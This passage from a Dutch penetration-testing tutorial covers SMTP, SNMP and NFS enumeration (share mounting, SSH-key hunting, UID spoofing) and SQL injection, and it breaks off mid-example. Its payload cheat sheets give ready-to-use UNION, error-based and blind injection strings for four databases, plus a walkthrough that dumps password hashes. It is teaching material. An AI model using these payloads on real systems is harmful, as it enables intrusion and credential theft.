Open /dashboard/outputs. Je ziet nu: - raw/nmap/acme-corp_quick_scan_tcp.nmap – TCP-scanresultaten - raw/nmap/acme-corp_quick_scan_udp.nmap – UDP-scanresultaten - raw/nmap/acme-corp_tcp-poorten.txt – Poorten in CSV - raw/nmap/acme-corp_tcp-versies.txt – Service-versies in CSV - raw/recon/whatweb-10.1.2.15:80.txt – WhatWeb voor elke host - raw/recon/wfuzz-10.1.2.15:80.txt – Wfuzz voor elke host - raw/recon/nuclei-10.1.2.15:80.txt – Nuclei voor elke host

Klik op een bestand om de inhoud te bekijken. Alles op een plek, doorzoekbaar, opgeslagen voor je rapport.

Stap 5: Gerichte vervolgstappen

Met de scanresultaten plan je je volgende acties: - WordPress gevonden? Open recon_wpscan uit de Command Library - FTP open? Start de ftp_anon-taak - SMTP? Open recon_smtp - SNMP? Open recon_snmp - NFS? Open recon_nfs

Overige protocollen: de vergeten diensten

SMTP enumeratie: het e-mail verhoor

E-mailservers zijn als praatgrage portiers. Als je ze de juiste vragen stelt, vertellen ze je welke bewoners er in het gebouw wonen. SMTP heeft drie commando’s die hiervoor misbruikt kunnen worden: VRFY (verify), EXPN (expand), en RCPT TO.

# Handmatig via netcat
nc -nv TARGET_IP 25
# VRFY root
# VRFY admin
# VRFY postmaster

# EXPN voor mailinglijst-leden
# EXPN all-users

# RCPT TO als VRFY is uitgeschakeld
# MAIL FROM:<test@test.com>
# RCPT TO:<admin@target.com>    (250 = bestaat, 550 = niet)

VRFY vraagt aan de server: “Bestaat deze gebruiker?” De server antwoordt met 250 (ja) of 550 (nee). Het is alsof je bij een bedrijf belt en vraagt: “Werkt Jan Jansen bij u?” En de receptionist antwoordt eerlijk.

De meeste beheerders schakelen VRFY uit. De slimme beheerders schakelen ook EXPN uit. Maar RCPT TO – dat kun je niet uitzetten, want dat is hoe e-mail werkt. Je stuurt een mail naar een adres, en de server vertelt je of dat adres bestaat.

# Geautomatiseerd met smtp-user-enum
smtp-user-enum -M VRFY \
    -U /usr/share/seclists/Usernames/Names/names.txt \
    -t TARGET_IP

smtp-user-enum -M RCPT -U users.txt -D target.com -t TARGET_IP

smtp-user-enum -M EXPN -U users.txt -t TARGET_IP

Nmap SMTP scripts

Nmap heeft specifieke scripts voor SMTP-analyse:

# User enumeratie
nmap -p 25 --script smtp-enum-users TARGET_IP

# Beschikbare commando's
nmap -p 25 --script smtp-commands TARGET_IP

# Open relay check (kan de server mail relayen voor willekeurige afzenders?)
nmap -p 25 --script smtp-open-relay TARGET_IP

Een open relay is een SMTP-server die mail doorstuurt namens willekeurige afzenders. In de jaren negentig was dit normaal. Nu is het een teken dat iemand zijn mailserver heeft geconfigureerd in de jaren negentig en er sindsdien niet meer naar heeft omgekeken.

SNMP: het protocol dat nooit had mogen bestaan

Simple Network Management Protocol. “Simple” in de zin van “simpel te misbruiken.” SNMP is ontworpen in een tijdperk waarin het internet bestond uit een paar universiteiten die elkaar vertrouwden. De authenticatie in SNMP v1 en v2c bestaat uit een “community string” – wat een deftig woord is voor een wachtwoord dat in plaintext over het netwerk wordt gestuurd.

En de meestgebruikte community strings? “public” voor leestoegang. “private” voor schrijftoegang.

Laat dat even tot je doordringen. Het protocol dat wordt gebruikt om routers, switches, servers, en printers te beheren – om ze te configureren, te monitoren, en zelfs te herstarten – gebruikt standaard het wachtwoord “public.” Het is alsof de beveiliging van een kerncentrale bestaat uit een deur met een slot waarvan de code “1234” is. En er hangt een bordje naast: “De code is 1234.”

# Community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
    -i targets.txt

# Of met nmap
nmap -sU -p 161 --script snmp-brute TARGET_IP

SNMP Walk: de complete inventaris

Als je een geldige community string hebt gevonden (en dat heb je, want het is bijna altijd “public”), kun je een SNMP walk doen. Dat is het equivalent van het openen van elke lade en kast in een kantoor en alles fotograferen wat erin zit.

# Alles opvragen
snmpwalk -c public -v1 -t 10 TARGET_IP

Maar SNMP is georganiseerd in een hierarchische structuur van OIDs (Object Identifiers). Je kunt gericht informatie opvragen:

# Windows gebruikers
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.4.1.77.1.2.25

# Draaiende processen
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.25.4.2.1.2

# Open TCP poorten
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.6.13.1.3

# Geinstalleerde software
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.25.6.3.1.2

# Systeem beschrijving
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.1.1

# Hostnaam
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.1.5

# Network interfaces
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.2.2.1.2

Kijk eens naar die lijst. Gebruikersnamen. Draaiende processen. Open poorten. Geinstalleerde software. Via een protocol dat authenticert met het woord “public.” Dit is geen kwetsbaarheid die je ontdekt – dit is een feature die je exploiteert.

snmp-check: alles in een keer

Voor wie geen zin heeft om OIDs te onthouden:

snmp-check TARGET_IP -c public

snmp-check vraagt alle relevante informatie op en presenteert het in een leesbaar formaat. Systeeminformatie, gebruikers, processen, poorten, shares, software – alles in een keer.

NFS: het netwerkbestandssysteem dat te veel deelt

Network File System is een protocol voor het delen van bestanden over een netwerk. Het stamt uit 1984 – het jaar van Orwell, en blijkbaar ook het jaar waarin niemand zich zorgen maakte over toegangscontrole.

NFS-exports kunnen zo worden geconfigureerd dat ze toegankelijk zijn voor specifieke hosts, maar in de praktijk staan ze vaak open voor iedereen. En “iedereen” omvat “de pentester die net je netwerk heeft gescand.”

# Ontdek NFS exports
nmap -sV -p 111 --script=rpcinfo TARGET_IP
nmap -p 111 --script nfs* TARGET_IP
showmount -e TARGET_IP

showmount -e is de sleutel. Het toont welke directories worden geexporteerd en naar wie. Als daar een * staat (iedereen), dan is het kerstmis.

NFS shares mounten

# Mount de share
mkdir /mnt/nfs
mount -o nolock TARGET_IP:/share /mnt/nfs

# Met specifieke NFS-versie (als versie 4 niet werkt)
mount -t nfs -o vers=3,nolock TARGET_IP:/share /mnt/nfs
mount -t nfs -o vers=2,nolock TARGET_IP:/share /mnt/nfs

Na het mounten kun je de bestanden gewoon benaderen alsof ze lokaal zijn:

# Zoek naar interessante bestanden
ls -la /mnt/nfs/
find /mnt/nfs/ -type f \
    -name "*.txt" -o -name "*.conf" -o -name "id_rsa" 2>/dev/null

Die id_rsa in het find-commando is geen toeval. SSH-private keys op NFS-shares komen vaker voor dan je zou denken. En met een private key heb je SSH-toegang zonder wachtwoord.

UID spoofing

NFS v3 vertrouwt op de client om de gebruikers-ID (UID) te rapporteren. Als je een bestand ziet dat eigendom is van UID 1000, kun je lokaal een gebruiker aanmaken met datzelfde UID en het bestand lezen:

# Als bestanden eigendom zijn van UID 1000
useradd -u 1000 fakeuser
su fakeuser
cat /mnt/nfs/secret.txt

Dit werkt tenzij root_squash is ingeschakeld – een instelling die voorkomt dat root op de client zich voordoet als root op de server. Maar als je no_root_squash ziet in de exports… dan ben je root. Op de server. Via een gemounte share.

# Check RPC services
rpcinfo -p TARGET_IP

De moraal van het verhaal

Verkenning is niet glamoureus. Het is geen Hollywood-moment met groene tekst op een zwart scherm terwijl dramatische muziek speelt. Het is geduldig zoeken, methodisch documenteren, en verbanden leggen tussen losse stukjes informatie. Het is het lezen van DNS-records tot je ogen tranen. Het is het doorploegen van woordenlijsten die groter zijn dan de gemiddelde Tolstoj-roman.

Maar het is het fundament van alles wat volgt.

En wat de organisaties betreft die we testen: het fascinerende is niet dat ze kwetsbaar zijn. Kwetsbaarheden zijn onvermijdelijk in complexe systemen. Het fascinerende is hoeveel van die kwetsbaar- heden neer te voeren zijn op pure nalatigheid. Zone transfers die openstaan omdat niemand ze heeft uitgeschakeld. SNMP met “public” als community string omdat dat de standaard was en niemand hem heeft veranderd. NFS-exports naar de hele wereld omdat * minder typewerk is dan een specifiek IP-adres.

Het is niet dat deze organisaties niet weten dat ze dit moeten beveiligen. Ze hebben security policies. Ze hebben compliance frameworks. Ze hebben jaarlijkse awareness-trainingen waarin een consultant met een PowerPoint uitlegt waarom je niet op links in e-mails moet klikken. Maar als het aankomt op het daadwerkelijk configureren van hun systemen – het monotone, onzichtbare werk van het dichtdraaien van overbodige diensten en het veranderen van standaardwachtwoorden – dan is er ineens niemand thuis.

Dat is de waarde van een pentest. Niet het vinden van obscure zero-days of geavanceerde exploits. Maar het aantonen dat de voordeur al die tijd open heeft gestaan.

Referentietabel

SQL Injection

De taal die we leerden wantrouwen

Er was een tijd — en het is nauwelijks vijftig jaar geleden, wat in de informatica neerkomt op de Middeleeuwen minus de pest — dat een man genaamd Edgar F. Codd bij IBM in San Jose zat en nadacht over een probleem dat iedereen irriteerde maar niemand echt wilde oplossen. Het was 1970. De Beatles vielen uit elkaar, Nixon was president, en bedrijfsdatabases waren een ramp van bijbelse proporties.

Databases bestonden uiteraard al. Maar ze werkten als een slechte bibliotheek: je moest precies weten in welke kast, op welke plank, achter welk boek je informatie lag. Verander de kast van plek, en al je programma’s braken. Het was alsof je elke keer dat de bibliothecaris een stoel verschoof, opnieuw moest leren lezen.

Codd had een idee dat zo elegant was dat zijn eigen werkgever het aanvankelijk negeerde — wat op zich al een teken is dat het briljant was. Hij stelde voor dat data georganiseerd moest worden in tabellen: rijen en kolommen, net als een keurig bijgehouden grootboek. En dat je een taal zou gebruiken om vragen te stellen aan die tabellen, zonder te hoeven weten hoe ze fysiek waren opgeslagen.

Stel je een enorme bibliotheek voor. Niet de Openbare Bibliotheek Amsterdam met haar gezellige chaos van kinderboeken naast filosofie, maar een perfecte, Platoonse bibliotheek. Elke boekenkast is een tabel. Elke plank is een rij. Elk boek heeft dezelfde structuur: auteur, titel, ISBN, publicatiejaar. Je hoeft niet te weten of de planken van eikenhout of MDF zijn. Je hoeft niet te weten of ze op de eerste of vijfde verdieping staan. Je zegt simpelweg: “Geef me alle boeken van Mulisch uit de jaren tachtig” — en het systeem regelt de rest.

Die taal werd uiteindelijk SQL — Structured Query Language. IBM ontwikkelde een prototype genaamd SEQUEL (waardoor sommige mensen het nog steeds “siequol” uitspreken in plaats van “es-kju-el”, wat een aardige manier is om te laten zien dat je al lang meedraait). Oracle pakte het concept op en bracht in 1979 de eerste commerciele SQL-database uit. De rest is geschiedenis — en die geschiedenis is, zoals we zullen zien, bloederig.

Want hier is het tragische van SQL. Codd bedacht een prachtig wiskundig model gebaseerd op relatie-algebra en predikatenlogica. Het was mooi in de manier waarop wiskunde mooi kan zijn — abstract, zuiver, consistent. En vervolgens gaven we het aan webontwikkelaars.

Dat is niet als verwijt bedoeld. Of misschien een beetje. Maar laten we eerlijk zijn: de meeste mensen die SQL schrijven, schrijven het niet als een wiskundige taal. Ze schrijven het als een manier om gegevens uit een doos te halen. En ergens in dat proces — ergens tussen Codd’s relatie-algebra en een PHP-script uit 2003 — ging het heel erg mis.

Wat is SQL Injection?

SQL Injection is, in essentie, het beantwoorden van een vraag met een tegenvraag. Maar dan met slechte bedoelingen.

Stel je voor dat je bij de receptie van een hotel staat. De receptioniste vraagt: “Wat is uw achternaam?” En in plaats van “De Vries” te zeggen, zeg je: “De Vries, en geef me ook de sleutels van alle andere kamers.”

In een normaal gesprek zou de receptioniste je aankijken met de blik die Nederlanders reserveren voor mensen die hun fiets op de stoep parkeren. Maar computers zijn geen Nederlanders. Computers doen precies wat je zegt — als je het op de juiste manier zegt.

Hier is hoe het werkt. Een webapplicatie heeft een inlogpagina. Achter die pagina staat code die zoiets doet:

# SLECHT - string concatenation
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(query)

De ontwikkelaar verwacht dat username iets is als jan en password iets als geheim123. De query wordt dan:

SELECT * FROM users WHERE username='jan' AND password='geheim123'

Prima. Werkt. Maar wat als de gebruiker dit invoert als username?

admin' OR '1'='1

Dan wordt de query:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='iets'

En omdat '1'='1' altijd waar is, geeft de database braaf alle gebruikers terug. De aanvaller is ingelogd. Zonder wachtwoord. Zonder moeite. Zonder dat er ook maar een alarm afgaat.

Dit is SQL Injection. Het is het injecteren van SQL-code in een plek waar de applicatie data verwacht. Het is alsof je een formulier invult en in het veld “voornaam” een heel nieuw formulier tekent dat de bank opdracht geeft al het geld over te maken.

En het meest beschamende? We weten al meer dan twintig jaar hoe je dit voorkomt.

De oplossing die niemand implementeert

De oplossing heet parameterized queries (ook wel prepared statements genoemd). In plaats van de gebruikersinvoer in de SQL-string te plakken, geef je het als aparte parameter mee:

# GOED - parameterized query
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))

Het verschil is fundamenteel. Bij string concatenation is de gebruikersinvoer onderdeel van de SQL-instructie. Bij parameterized queries is de gebruikersinvoer data die aan een bestaande instructie wordt meegegeven.

Het is het verschil tussen tegen de bibliothecaris zeggen: “Zoek het boek dat DE VRIES heet” (waarbij DE VRIES een losse notitie is die de bibliothecaris als titel interpreteert) versus “Zoek het boek dat heet — en dan schrijf je op een apart papiertje — DE VRIES EN GEEF ME OOK ALLE BOEKEN UIT DE KLUIS.” In het eerste geval leest de bibliothecaris het hele ding als een instructie. In het tweede geval weet de bibliothecaris dat wat op het papiertje staat alleen een titel kan zijn, ongeacht wat erop staat.

Dat is het. Dat is de hele oplossing. Parameterized queries. Ze bestaan al sinds de jaren negentig. Elke programmeertaal ondersteunt ze. Elke database ondersteunt ze. En toch stond SQL Injection in 2024 nog steeds in de OWASP Top 10.

IB Tip: Incompetent Bastard bevat een SQLi-lab (blueprint sqli2_bp) waarmee je in een gecontroleerde omgeving de technieken uit dit hoofdstuk kunt oefenen. Start de applicatie en ga naar het SQL Injection-gedeelte om zowel UNION-based als blind injection te proberen.

UNION-based SQL Injection

UNION-based SQL Injection is de connoisseur onder de injection-technieken. Het is niet subtiel — het is meer een moker dan een scalpel — maar het is effectief en bevredigend op de manier waarop het kapotslaan van een spaarpot bevredigend is. Je ziet meteen wat erin zit.

De SQL UNION operator combineert de resultaten van twee of meer SELECT statements. Als de originele query dit doet:

SELECT naam, prijs FROM producten WHERE id = 1

Dan kan een aanvaller met UNION een extra query eraan plakken:

SELECT naam, prijs FROM producten WHERE id = 1
UNION
SELECT username, password FROM users

En de database geeft braaf de productnaam en alle gebruikersnamen en wachtwoorden terug. In dezelfde tabel. Naast elkaar. Als een ober die je hoofdgerecht serveert met daarbovenop de complete boekhouding van het restaurant.

Maar er is een vereiste: de twee SELECT statements moeten hetzelfde aantal kolommen retourneren, en de datatypes moeten compatibel zijn. Je kunt geen drie kolommen combineren met twee. Dat is als proberen een vierkante pin in een rond gat te stoppen — de database weigert.

Stap 1: Aantal kolommen bepalen

Voordat je kunt UNION-en, moet je weten hoeveel kolommen de originele query retourneert. Er zijn twee methoden.

Methode 1: ORDER BY

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -   -- als hier een error komt: 3 kolommen

ORDER BY 1 sorteert op de eerste kolom. ORDER BY 2 op de tweede. Je verhoogt tot je een foutmelding krijgt. De vorige waarde is het juiste aantal kolommen.

Methode 2: UNION SELECT NULL

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -   -- geen error? 4 kolommen

NULL is compatibel met elk datatype, dus je hoeft je geen zorgen te maken over type-mismatches. Je begint met een NULL en voegt er steeds eentje toe tot de error verdwijnt.

IB Tip: De -- - aan het einde is een SQL-comment. Het streepje- streepje-spatie (of -- - voor de zekerheid) zorgt ervoor dat de rest van de originele query wordt genegeerd. In MySQL werkt ook # als comment-teken.

Stap 2: Zichtbare kolommen vinden

Niet alle kolommen verschijnen zichtbaar op de pagina. Je moet weten welke kolommen daadwerkelijk worden weergegeven. Vervang de NULLs door herkenbare waarden:

' UNION SELECT 'a','b','c',4-- -

Als je op de pagina de letter b ziet verschijnen, weet je dat kolom 2 zichtbaar is. Dat is de kolom waar je je data doorheen gaat sluizen.

Stap 3: Data extraheren

Nu begint het echte werk. Je wilt weten welke tabellen er zijn, welke kolommen die tabellen hebben, en vervolgens wil je de data zelf.

MySQL / MariaDB

-- Alle tabellen in de huidige database
' UNION SELECT 1,group_concat(table_name),3,4
  FROM information_schema.tables
  WHERE table_schema=database()-- -

-- Kolommen van de tabel 'users'
' UNION SELECT 1,group_concat(column_name),3,4
  FROM information_schema.columns
  WHERE table_name='users'-- -

-- Gebruikersnamen en wachtwoorden
' UNION SELECT 1,username,password,4 FROM users-- -

De functie group_concat() is je beste vriend hier. Het plakt alle resultaten aan elkaar met komma’s ertussen, zodat je alles in een keer ziet in die ene zichtbare kolom.

IB Tip: Bij MariaDB kun je soms een “Illegal mix of collations” error krijgen. De fix: voeg COLLATE utf8mb4_general_ci toe na het veld. Bijvoorbeeld: group_concat(table_name COLLATE utf8mb4_general_ci)

PostgreSQL

PostgreSQL heeft group_concat() niet, maar gebruikt string_agg():

-- Alle tabellen in het public schema
' UNION SELECT 1,string_agg(table_name,','),3,4
  FROM information_schema.tables
  WHERE table_schema='public'-- -

-- Data ophalen
' UNION SELECT 1,username,password,4 FROM users-- -

MSSQL

Microsoft SQL Server is een beest apart. Het gebruikt sysobjects en syscolumns in plaats van (of naast) information_schema:

-- Alle tabellen
' UNION SELECT 1,name,3,4
  FROM sysobjects WHERE xtype='U'-- -

-- Kolommen van 'users'
' UNION SELECT 1,name,3,4
  FROM syscolumns
  WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

Oracle

Oracle is de excentrieke oom die op elk familiefeest aandacht vraagt. Elke SELECT moet een FROM clause hebben, zelfs als je niets uit een tabel haalt:

-- Alle tabellen van een schema
' UNION SELECT NULL,table_name,NULL
  FROM all_tables WHERE owner='SCHEMA'-- -

-- "Ik wil gewoon een constante waarde"
SELECT 1,2 FROM dual
-- (dual is Oracle's speciale "doe alsof" tabel)

Het IB command file: web_sqli_union

Incompetent Bastard heeft dit alles samengevat in een command file die je via het dashboard kunt laden. Hier is de volledige inhoud:

# SQL Injection - UNION-Based (meerdere databases)
# Stap 1: Aantal kolommen bepalen
' ORDER BY 1-- -
' ORDER BY 2-- -
# (verhoog tot error -> vorige = juiste aantal)
# Of met NULL:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
# Stap 2: Zichtbare kolommen vinden
' UNION SELECT 'a','b','c',4-- -
# === MySQL / MariaDB ===
' UNION SELECT 1,group_concat(table_name),3,4
  FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3,4
  FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,username,password,4 FROM users-- -
# Collation fix (MariaDB): ... COLLATE utf8mb4_general_ci FROM ...
# === PostgreSQL ===
' UNION SELECT 1,string_agg(table_name,','),3,4
  FROM information_schema.tables WHERE table_schema='public'-- -
' UNION SELECT 1,username,password,4 FROM users-- -
# === MSSQL ===
' UNION SELECT 1,name,3,4
  FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT 1,name,3,4
  FROM syscolumns
  WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
# === Oracle ===
' UNION SELECT NULL,table_name,NULL
  FROM all_tables WHERE owner='SCHEMA'-- -
# Tip: Oracle vereist FROM in elke SELECT: UNION SELECT 1,2 FROM dual

Dit bestand is je spiekbriefje. Elke keer dat je voor een webapplicatie zit en je vermoedt dat er SQLi mogelijk is, begin je hier. Van boven naar beneden. Systematisch. Zoals een volwassen mens dat doet.

Werkend voorbeeld: stap voor stap

Laten we een compleet voorbeeld doorlopen. We hebben een webshop met een URL als:

http://shop.local/product?id=3

De pagina toont een productnaam, prijs en beschrijving. We vermoeden SQLi.

Stap 1: Bevestig de kwetsbaarheid

http://shop.local/product?id=3'

Als je een SQL-error ziet (of de pagina breekt), is er waarschijnlijk SQLi.

Stap 2: Bepaal het aantal kolommen

http://shop.local/product?id=3' ORDER BY 1-- -   (OK)
http://shop.local/product?id=3' ORDER BY 2-- -   (OK)
http://shop.local/product?id=3' ORDER BY 3-- -   (OK)
http://shop.local/product?id=3' ORDER BY 4-- -   (ERROR)

Drie kolommen dus.

Stap 3: Vind zichtbare kolommen

http://shop.local/product?id=3' UNION SELECT 'AAA','BBB','CCC'-- -

Op de pagina zien we: productnaam = “BBB”, beschrijving = “CCC”. Kolommen 2 en 3 zijn zichtbaar.

Stap 4: Database-versie ophalen

http://shop.local/product?id=3' UNION SELECT 1,version(),3-- -

Output: 10.5.12-MariaDB — het is MariaDB.

Stap 5: Tabellen enumereren

http://shop.local/product?id=3' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -

Output: products,users,orders,sessions

Stap 6: Kolommen van ‘users’ bekijken

http://shop.local/product?id=3' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -

Output: id,username,password,email,role

Stap 7: Data dumpen

http://shop.local/product?id=3' UNION SELECT 1,group_concat(username,':',password),3 FROM users-- -

Output: admin:$2b$12$LJ3m4ys...,user1:$2b$12$xK9p2...

En daar zijn je bcrypt-hashes. Klaar om naar hashcat te sturen.

IB Tip: Gebruik group_concat(username,0x3a,password) als de applicatie de dubbele punt filtert. 0x3a is de hexadecimale representatie van : en wordt door de meeste filters niet herkend.

Error-based SQL Injection

Als UNION-based de moker is, dan is error-based SQL Injection de spreekkamer-truc. Je maakt expres een fout — een heel specifieke fout — en in de foutmelding die de database teruggeeft, zit de data die je zoekt.

Het is alsof je in een bibliotheek een boek opvraagt dat niet bestaat, en de bibliothecaris in zijn foutmelding per ongeluk zegt: “Dat boek hebben we niet, maar ik kan u vertellen dat het wachtwoord van de directeur ‘Welkom01’ is.”

De truc is dat bepaalde SQL-functies foutmeldingen genereren die de waarde bevatten die je probeert te evalueren. Je misbruikt het foutmechanisme als communicatiekanaal.

MySQL: EXTRACTVALUE en UPDATEXML

-- Database-versie via EXTRACTVALUE
' AND extractvalue('',concat('>',version()))-- -

Dit probeert een XPath-expressie te evalueren op een XML-document (dat leeg is). Dat mislukt, en de foutmelding bevat de versie:

XPATH syntax error: '>10.5.12-MariaDB'

Bingo. En nu alle tabellen:

' AND extractvalue('',concat('>',(SELECT group_concat(table_name)
  FROM information_schema.tables
  WHERE table_schema=database())))-- -

Foutmelding:

XPATH syntax error: '>products,users,orders,sessions'

UPDATEXML werkt op dezelfde manier:

' AND updatexml(1,concat('>',version()),1)-- -

MySQL: Double Query (Floor)

Er is een oudere, elegantere methode die gebruik maakt van rand() en floor():

' AND (SELECT 1 FROM (SELECT count(*),
  concat(version(),floor(rand(0)*2))x
  FROM information_schema.tables
  GROUP BY x)a)-- -

Dit veroorzaakt een “Duplicate entry” error die de versie bevat:

Duplicate entry '10.5.12-MariaDB1' for key 'group_key'

Het is niet de meest leesbare SQL ter wereld, maar het werkt al sinds MySQL 4.x.

MSSQL: CONVERT

MSSQL heeft geen EXTRACTVALUE, maar je kunt de CONVERT functie misbruiken:

' AND 1=CONVERT(int,@@version)-- -

MSSQL probeert de versiestring naar een integer te converteren, faalt, en geeft de versie terug in de foutmelding:

Conversion failed when converting the nvarchar value
'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5...' to data type int.

Hetzelfde principe, andere functie:

-- Eerste tabel ophalen
' AND 1=CONVERT(int,(SELECT TOP 1 table_name
  FROM information_schema.tables))-- -

-- Eerste gebruikersnaam
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))-- -

PostgreSQL: CAST

PostgreSQL werkt vergelijkbaar met CONVERT, via CAST:

' AND 1=CAST(version() AS int)-- -

-- Alle tabellen
' AND 1=CAST((SELECT string_agg(table_name,',')
  FROM information_schema.tables
  WHERE table_schema='public') AS int)-- -

Oracle

Oracle heeft zijn eigen exotische opties:

-- Via CTXSYS
' AND 1=CTXSYS.DRITHSX.SN(1,
  (SELECT banner FROM v$version WHERE ROWNUM=1))-- -

-- Via UTL_INADDR
' AND 1=UTL_INADDR.GET_HOST_NAME(
  (SELECT user FROM dual))-- -

Het IB command file: web_sqli_error

Het volledige command file in Incompetent Bastard:

# SQL Injection - Error-Based (data via foutmeldingen)
# === MySQL ===
# ExtractValue:
' AND extractvalue('',concat('>',version()))-- -
' AND extractvalue('',concat('>',(SELECT group_concat(table_name)
  FROM information_schema.tables
  WHERE table_schema=database())))-- -
# UpdateXML:
' AND updatexml(1,concat('>',version()),1)-- -
# Double query:
' AND (SELECT 1 FROM (SELECT count(*),
  concat(version(),floor(rand(0)*2))x
  FROM information_schema.tables GROUP BY x)a)-- -
# === MSSQL ===
# Cast error:
' AND 1=CONVERT(int,@@version)-- -
' AND 1=CONVERT(int,(SELECT TOP 1 table_name
  FROM information_schema.tables))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))-- -
# === Oracle ===
# CTXSYS.DRITHSX.SN:
' AND 1=CTXSYS.DRITHSX.SN(1,
  (SELECT banner FROM v$version WHERE ROWNUM=1))-- -
# UTL_INADDR.GET_HOST_NAME:
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- -
# === PostgreSQL ===
# Cast error:
' AND 1=CAST(version() AS int)-- -
' AND 1=CAST((SELECT string_agg(table_name,',')
  FROM information_schema.tables
  WHERE table_schema='public') AS int)-- -
# Tip: Error-based is snel maar vereist verbose foutmeldingen

IB Tip: Error-based injection werkt alleen als de applicatie foutmeldingen letterlijk doorgeeft aan de gebruiker. In productie- omgevingen met generic error pages (wat het zou moeten zijn) werkt dit niet. Maar je zou verbaasd zijn hoeveel “productie”-servers gewoon volledige stack traces tonen. In 2024. Aan iedereen.

Blind SQL Injection

En dan zijn er de momenten waarop de applicatie niets teruggeeft. Geen data. Geen foutmeldingen. Alleen een pagina die er hetzelfde uitziet of net iets anders. Dit is Blind SQL Injection, en het is als communiceren met een gevangene door op de muur te kloppen: een keer kloppen voor ja, twee keer voor nee.

Het is traag. Het is moeizaam. En het werkt.

Boolean-based Blind

Bij boolean-based blind injection reageert de applicatie anders op ware en onware condities. Misschien verschijnt er een product als de conditie waar is, en een lege pagina als het onwaar is. Of de tekst “Welkom” versus “Ongeldige invoer.”

Het principe:

-- Is het eerste karakter van de versie '5'? (MySQL)
' AND SUBSTRING(version(),1,1)='5'-- -

Als de pagina normaal laadt: ja, het is MySQL 5.x. Als de pagina breekt of leeg is: nee.

Nu kun je karakter voor karakter data extraheren:

-- Is het ASCII-waarde van het eerste karakter van het admin-wachtwoord
-- groter dan 96? (= komt het na de backtick in de ASCII-tabel?)
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -

Door binary search toe te passen (is het groter dan 96? groter dan 112? groter dan 104? …) kun je met ongeveer 7 requests per karakter de exacte waarde bepalen. Voor een wachtwoord-hash van 60 karakters is dat 420 requests. Niet snel, maar geautomatiseerd heel goed te doen.

Per database

MySQL:

' AND SUBSTRING(version(),1,1)='5'-- -
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -

MSSQL:

' AND SUBSTRING(@@version,1,1)='M'-- -

PostgreSQL:

' AND (SELECT SUBSTRING(version(),1,1))='P'-- -

Time-based Blind

Soms is zelfs de boolean-respons niet detecteerbaar. De pagina ziet er altijd hetzelfde uit, ongeacht de input. Dan gebruik je tijd als communicatiekanaal.

Het idee is simpel: als de conditie waar is, laat de database 5 seconden wachten. Als de conditie onwaar is, reageer direct. Je meet de response-tijd en leidt daaruit de waarheid af.

Het is alsof je een vriend belt en zegt: “Als je honger hebt, wacht dan vijf seconden voor je opneemt.” Je krijgt geen woord — maar die stilte zegt genoeg.

MySQL:

' AND IF(1=1,SLEEP(5),0)-- -

-- Karakter voor karakter
' AND IF((SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96,SLEEP(5),0)-- -

MSSQL:

'; WAITFOR DELAY '0:0:5'-- -

'; IF (SELECT ASCII(SUBSTRING((SELECT TOP 1 password
  FROM users),1,1)))>96 WAITFOR DELAY '0:0:5'-- -

PostgreSQL:

'; SELECT CASE WHEN (1=1)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

'; SELECT CASE WHEN
  (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

Oracle:

' AND 1=(CASE WHEN (1=1)
  THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

PostgreSQL-specials

PostgreSQL heeft een paar handige trucs als quotes worden gefilterd:

-- CHR() bypass (geen quotes nodig)
CHR(65)||CHR(66)   -- = 'AB'

-- Dollar-quoted strings
$$string$$           -- = 'string'

Het IB command file: web_sqli_blind

# SQL Injection - Blind (Boolean + Time-Based)
# === BOOLEAN BLIND (response verschil = true/false) ===
# MySQL:
' AND SUBSTRING(version(),1,1)='5'-- -
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -
# MSSQL:
' AND SUBSTRING(@@version,1,1)='M'-- -
# PostgreSQL:
' AND (SELECT SUBSTRING(version(),1,1))='P'-- -
# === TIME-BASED BLIND (geen zichtbaar verschil) ===
# MySQL:
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF((SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96,SLEEP(5),0)-- -
# MSSQL:
'; WAITFOR DELAY '0:0:5'-- -
'; IF (SELECT ASCII(SUBSTRING((SELECT TOP 1 password
  FROM users),1,1)))>96 WAITFOR DELAY '0:0:5'-- -
# PostgreSQL:
'; SELECT CASE WHEN (1=1)
